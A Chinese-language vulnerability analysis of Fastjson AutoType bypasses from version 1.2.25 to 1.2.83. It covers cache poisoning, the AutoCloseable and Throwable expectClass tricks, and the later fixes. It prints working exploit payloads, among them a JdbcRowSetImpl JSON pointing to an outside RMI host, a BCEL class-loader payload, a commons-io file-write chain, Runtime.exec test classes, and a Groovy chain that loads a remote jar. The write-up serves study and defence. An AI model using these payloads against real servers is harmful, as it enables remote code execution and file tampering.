Fastjson 1.2.25-1.2.47
这个版本区间的绕过,其关键点在于:
Fastjson 会在某些路径中先创建或缓存某个类的相关信息,再做 AutoType 或黑名单检查。
当缓存写入时缺乏严格限制,就可能出现:
- 第一次解析时某些类未触发完整校验
- 缓存之后的解析使用缓存项,导致绕过黑名单或 AutoType 限制
这就是所谓的“缓存污染”(Cache Poisoning)。
流程分析:
问题的核心在于 Fastjson 在反序列化时,需要为不同类型的对象选择合适的解析器(Deserializer)。

可以看到,对于 java.lang.Class 这个类型,Fastjson 选择了 MiscCodec 作为其解析器。

而 MiscCodec 内部的逻辑会触发 loadClass 方法。这正是早期版本利用 LL 或 ; 绕过 AutoType 的核心方法。只要 clazz 参数等于 Class.class,就会进入这个分支。

进入 loadClass 方法后,可以看到它从 objVal(也就是我们 JSON 中 val 键对应的值)加载类名。


跟进流程会发现,该方法将我们通过 val 指定的类名(例如 com.sun.rowset.JdbcRowSetImpl)存入了一个名为 mappings 的缓存 ConcurrentHashMap 中。这个 mappings 在该版本中是 Fastjson 用于存储“白名单”类的内部缓存集合。

接下来的步骤,就是常规的 JSON 反序列化流程,解析 @type 为 com.sun.rowset.JdbcRowSetImpl 的对象。

这时,当 checkAutoType 方法检查 com.sun.rowset.JdbcRowSetImpl 时,会先尝试从 mappings 缓存中获取该类。由于上一步已经将其存入缓存,因此这里能成功获取到,绕过了黑名单检查。

之后,Fastjson 会为这个恶意类寻找对应的解析器并实例化,最终触发其 setter 或 getter 方法,完成攻击链。

总结
Fastjson 1.2.47 之前的版本,在对 java.lang.Class 类型的反序列化处理上存在逻辑缺陷。MiscCodec 解析器中的 loadClass 方法未实施严格的白名单或黑名单校验,便可将任意类名加入内部缓存。攻击者可以先构造一个 Class 类型的对象“污染”缓存,再正常反序列化目标恶意类,从而绕过 AutoType 检查,实现任意 getter/setter 方法的调用。
经典PoC(出网):
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://vps/xxxx",
"autoCommit": true
}
}
或是不出网PoC:
{
"x": {
"xxx": {
"@type": "java.lang.Class",
"val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},
"c": {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},
"www": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driver": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A..."
}
}:{}
}
}
Fastjson <= 1.2.68
这个版本的绕过思路有所不同。它利用了 Fastjson 在为某些接口(例如 AutoCloseable)选择 JavaBeanDeserializer 解析器时,校验流程的顺序存在不一致,从而绕过了 AutoType 的黑名单/白名单机制。如果最终加载的类存在危险方法,就可能触发 RCE。
为了理解这个过程,我们先模拟一个实现了 AutoCloseable 接口的简单类:
package com.t3y.Payload;
import java.util.LinkedHashMap;
public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}
流程分析:
核心依然与 Fastjson 的解析器选择及内部白名单逻辑相关。在解析流程中,会进入 checkAutoType 方法。

在 checkAutoType 方法中,由于 @type 指定的是 java.lang.AutoCloseable(一个合法的白名单接口/类),方法会顺利返回其对应的 Class 对象。

java.lang.AutoCloseable 会从 mappings 缓存中被获取。

后续几个判断逻辑后,关键点在于 java.lang.AutoCloseable 获取到的解析器是 JavaBeanDeserializer。

而这个解析器的 deserialize 方法存在逻辑问题:它会将我们 JSON 中下一个 @type 指定的类名(例如我们的恶意类),连同当前正在反序列化的类型(java.lang.AutoCloseable)作为 expectClass 参数,再次传入 checkAutoType 方法中进行检查。

这里引入一个关键机制:checkAutoType 的触发条件。
在 checkAutoType 方法内部,有一个条件判断:if (autoTypeSupport || jsonType || expectClassFlag)。这三个值任意一个为真,都可能触发后续的 loadClass 加载类。

其中 autoTypeSupport 默认是 false,jsonType 通常也是 false。但 expectClassFlag 是我们可以控制的。只要 expectClass 参数不为空,且不等于 Object.class、Serializable.class、Cloneable.class 等几个特定类,expectClassFlag 就会是 true。
expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class)

回顾一下,在 JavaBeanDeserializer 的代码中,它确实传入了 expectClass 参数(即 java.lang.AutoCloseable 的 Class 对象)。
if (deserializer == null) {
Class<?> expectClass = TypeUtils.getClass(type);
userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());
deserializer = parser.getConfig().getDeserializer(userType);
}
于是,在第二次进入 checkAutoType 检查我们的恶意类(例如 vul.VulAutoCloseable)时,expectClassFlag 为 true,满足了绕过条件。

由于 autoTypeSupport 为 false,会进入黑名单 (denyHashCodes) 检查。只要我们的恶意类不在黑名单中,就能通过。

接着,由于 expectClassFlag 为 true,满足了 if (autoTypeSupport || jsonType || expectClassFlag) 条件,从而调用 TypeUtils.loadClass 加载我们的恶意类。

你可能会想,不继承 AutoCloseable 接口的类行不行?答案是不行。因为在 checkAutoType 加载类之后,还有一个关键检查:判断加载的类(clazz)是否是期望类(expectClass,即 AutoCloseable)的子类或实现类。

只有实现了 AutoCloseable 接口的类才能通过这个检查,否则会抛出 “type not match” 异常。通过之后,便是完整的 Fastjson 反序列化逻辑,实例化并调用相关方法。

总结:
针对 Fastjson 1.2.68 及以下版本,研究人员测试了白名单类的解析器,发现 java.lang.AutoCloseable 会获取到 JavaBeanDeserializer 解析器,而该解析器存在上述的逻辑缺陷。攻击链的关键在于需要找到一个不在黑名单中、实现了 java.lang.AutoCloseable 接口、并且其 getter/setter 方法中存在可利用代码的类。这通常需要依赖第三方库,例如利用 Apache Commons IO 中的一些类来构造复杂的利用链,实现文件写入或命令执行。
经典PoC:
依赖:commons-io 2.0 - 2.6 版本
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.6</version>
</dependency>
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
Fastjson 1.2.68-1.2.80
在 Fastjson 1.2.68 到 1.2.80 版本,官方引入了新的解析器 ThrowableDeserializer 来处理异常类,java.lang.Throwable 及其子类会使用这个解析器,这带来了新的绕过思路。
流程分析:
我们首先构造一个自定义的异常类用于测试:
package com.t3y.Payload;
import java.io.IOException;
public class MyException extends Exception {
private String cmd;
public String getCmd() throws IOException {
Runtime.getRuntime().exec(this.cmd);
return cmd;
}
public void setCmd(String cmd) throws IOException {
this.cmd = cmd;
}
public MyException(String cmd) {
}
}
测试Payload:
String payload4 = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.t3y.Payload.MyException\",\"cmd\":\"calc\"}";
JSON.parseObject(payload4);
其调用链与 1.2.68 的 AutoCloseable 绕过类似,我们主要关注解析器的选择和绕过白名单的过程。

流程依旧是从 mappings 缓存中获取 java.lang.Exception 类(如果不存在则加载),然后为其匹配解析器。


关键点在于,ThrowableDeserializer 解析器和 JavaBeanDeserializer 一样,在解析过程中会将 Throwable.class 作为 expectClass 参数传入 checkAutoType 方法。
String exClassName = lexer.stringVal();
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
lexer.nextToken(16);

这相当于把 1.2.68 利用 java.lang.AutoCloseable 的思路,平移到了 java.lang.Throwable 及其子类上。在 1.2.68 之后的版本,官方将 AutoCloseable 等接口加入了 expectClass 的黑名单,使其 expectClassFlag 恒为 false,从而封堵了那条路。
以下是被加入黑名单的 expectClass 哈希值:
0x90a25f5baa21529eL → java.io.Serializable
0x2d10a5801b9d6136L → java.lang.Cloneable
0xaf586a571e302c6bL → java.io.Closeable
0xed007300a7b227c6L → java.lang.AutoCloseable
0x295c4605fd1eaa95L → java.lang.Readable
0x47ef269aadc650b4L → java.lang.Runnable
0x6439c4dff712ae8bL → java.util.EventListener
0xe3dd9875a2dc5283L → java.lang.Iterable
0xe2a8ddba03e69e0dL → java.util.Collection
0xd734ceb4c3e9d1daL → java.lang.Object

但是,Throwable.class 并不在这个黑名单中。因此,后续的逻辑与 1.2.68 版本完全一致:expectClassFlag 为 true,满足绕过条件,只要目标恶意类是 Throwable 的子类且不在黑名单中,就能被成功加载。

总结:
面对不断出现的安全问题,Fastjson 官方最核心的修复策略依然是强化黑白名单机制。1.2.68-1.2.80 的绕过,本质上是发现了另一个可利用“期望类”(expectClass)的解析器——ThrowableDeserializer。由于 Throwable.class 不在 expectClass 黑名单中,攻击者可以寻找不在类名黑名单中、且是 Throwable 子类的第三方库类,构造利用链。
经典PoC:
依赖:Groovy 相关库
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>3.0.12</version>
</dependency>
该利用链还结合了缓存污染的方式,需要两次反序列化:
第一次,加载一个 Groovy 的异常类到缓存:
{
"@type": "java.lang.Exception",
"@type": "org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
第二次,利用已缓存的类进行攻击:
{
"@type": "org.codehaus.groovy.control.ProcessingUnit",
"@type": "org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type": "org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":["http://127.0.0.1:8081/attack-1.jar"]
},
"gcl":null,
"destDir": "/tmp"
}



更多详细利用链可参考相关安全研究文章。
Fastjson 1.2.83
在 1.2.83 版本中,官方进一步收紧了策略。最直接的一处修复是:在默认关闭 autoTypeSupport 的情况下,如果 @type 指定的类名以 Exception 或 Error 结尾,且不在内置白名单缓存 (mappings) 中,则直接抛出异常,阻止加载。

这基本上堵死了直接利用 Throwable 子类的路径。不过,从代码层面看,ThrowableDeserializer 和 JavaBeanDeserializer 中传入 expectClass 的代码逻辑并未改变。
思考:
既然 ThrowableDeserializer 的代码逻辑没变,而 java.lang.Exception 被直接办掉了,那么是否还有其他不是 Exception 或 Error 结尾的类,也会使用 ThrowableDeserializer 解析器呢?这或许是一个潜在的、值得探索的方向。
总结:
纵观 Fastjson 的多个 AutoType 绕过漏洞,其核心大多围绕着“解析器”(Deserializer)的逻辑缺陷展开。在 autoType 默认关闭的情况下,攻击者通过精心构造的 JSON,利用 checkAutoType 方法中对于“期望类”(expectClass)的判断逻辑、缓存污染机制、以及解析器内部再次调用 checkAutoType 时的参数传递,成功加载不在黑名单中的类,最终触发目标类的 getter/setter 方法完成攻击。
对于Java开发者而言,及时升级Fastjson至最新安全版本,并在安全要求高的场景下避免使用存在已知风险的序列化库,是规避此类安全风险的根本之道。深入理解这些漏洞原理,也有助于在代码审计和后端架构设计时更好地规避反序列化陷阱。
希望这篇在云栈社区分享的深度解析,能帮助你建立起对Fastjson反序列化漏洞的立体认知。